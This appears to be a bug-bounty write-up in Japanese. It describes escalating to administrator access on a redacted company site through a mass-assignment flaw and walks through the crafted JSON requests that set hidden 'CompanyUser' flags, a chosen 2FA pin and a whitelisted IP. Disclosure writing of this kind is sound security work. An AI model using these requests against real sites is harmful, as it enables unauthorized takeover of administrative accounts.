Hello there, ('ω')ノ
百万ドル規模の会社のサーバー管理にアクセスする方法を。
脆弱性：
特権の昇格
一括割り当て
記事：
OWASP Juice Shopの「不適切な入力検証」に。
「管理者権限を持つユーザとして登録する」という説明のあるタスクがあって。
これがどのように機能するかは登録時に発生して。
タスクを完了するには。
「role」という名前と「admin」の値を持つパラメータを推測して渡す必要があって。
このタスクを完了すると、「これを実際のシナリオに実際に適用できるか」と思って。
その質問の答えは「いいえ」だといつも思っていたものの。
百万ドル規模の会社のサーバー管理にアクセスするために。
（いくつかのバイパスを使用して）その方法を実行することができて。
序章：
プログラムにはサインアップ/ログインが必要なサブドメインがあるので。
すぐにアカウントを作成して。
アカウント登録中は、すべて正常で。
簡単にするために、デモンストレーションの目的で。
これがリクエストであるとして。
POST /register HTTP/1.1
Host: www.redacted.com
Content-Type: application/json
{“email”: “user@tld.xyz”, “password”: “password123”}
上記のリクエストは、ホームページへの302リダイレクトを返して。
疑わしいことは何もないと思うので、サイトの探索を続けることに。
サイトを探索する際に、「マイアカウント」機能を確認し。
そこにCSRFとIDORの脆弱性があることを期待したものの。
ユーザIDに関連付けられているCSRFトークンがあるため。
IDORやCSRFを悪用することはできず。
その後、Burp SuiteでHTTPログを確認して。
そのプログラムで自分のアカウントを更新するためのリクエストを見すると。
リクエストは次のようになって。
POST /updateUserInfo HTTP/1.1
Host: www.redacted.com
CSRF-Token: XXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
{
“User”: {“id”: “123”, “email”: “user@tld.xyz”, “fullName”: “User A”},
“Address”: {“city”: “Some City”}
}
応答は非常に長いコンテンツを返して。
下記がその一部で。
HTTP/1.1 200 OK
{
“response”: “success”,
“info”: {
“id”: “123”,
“email”: “user@tld.xyz”,
“fullName”: “User A”,
…
}
}
応答に表示されている中には、要求に応じていないフィールドがたくさんあって。
目を引いたのは、「companyUser」という名前で値が「0」のフィールドがあるので。
かなり面白そうで。
どのように、どこに配置すればよいのか。
上記のリクエストを変更して、次のように変更してみて。
POST /updateUserInfo HTTP/1.1
Host: www.redacted.com
CSRF-Token: XXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
{
“User”: {“id”: “123”, “email”: “user@tld.xyz”, “fullName”: “User A”, “companyUser”: “1”},
“Address”: {“city”: “Some City”}
}
しかし、何も起こらず。
「companyUser」は「User」フィールド内にあるべきではないと思ったので。
それがどうあるべきかを推測してみることに。
考えた後、 {“companyUser”: { “companyUser”: “1” }}を使用することを考えましたが。
何も起こらず。
そこで、彼らの命名規則（最初の文字は大文字）に従おうと。
{“CompanyUser”: { “companyUser”: “1” }} に変更すると。
リクエストが「1」の値で「companyUser」を返したので。
ログアウトしてログインし、確認しましたが機能せず。
2FAピンコードによって促されて。
この2FAの長さと組み合わせがわからないため、ブルートフォース攻撃はできず。
他のアカウントで上記の手順を繰り返した後、応答をもう一度確認すると。
2FAに関連するものに気づいて。
それは「companyUser2FA」フィールドで。
このフィールドをすぐにリクエストに追加して。
最終的なリクエストは下記のとおりで。
{“CompanyUser”: { “companyUser”: “1”, “companyUser2FA”: “1234” }}
2FAフィールドが応答に表示されたので。
これは、それが機能したことを意味して。
なので。ログアウトして再度ログインしましたが。
IPがホワイトリストに登録されていないことを確認するメッセージが表示されて。
３番目のアカウントで上記の手順を繰り返して、応答も確認すると。
IPに関連するものがあり、「companyUserIP」という名前のフィールドに気付いて。
IP制限をバイパスすることを期待して、このパラメータをリクエストに追加すると。
最終的なリクエストは次のとおりで。
{“CompanyUser”: { “companyUser”: “1”, “companyUser2FA”: “1234”, “companyUserIP”: “<My Public IP>” }}
ログアウトして再度ログインすると。
管理者だけがアクセスできるWebサイト内のルートにリダイレクトされて。
管理者だけが見ることができるすべてを見て。
Best regards, (^^ゞ
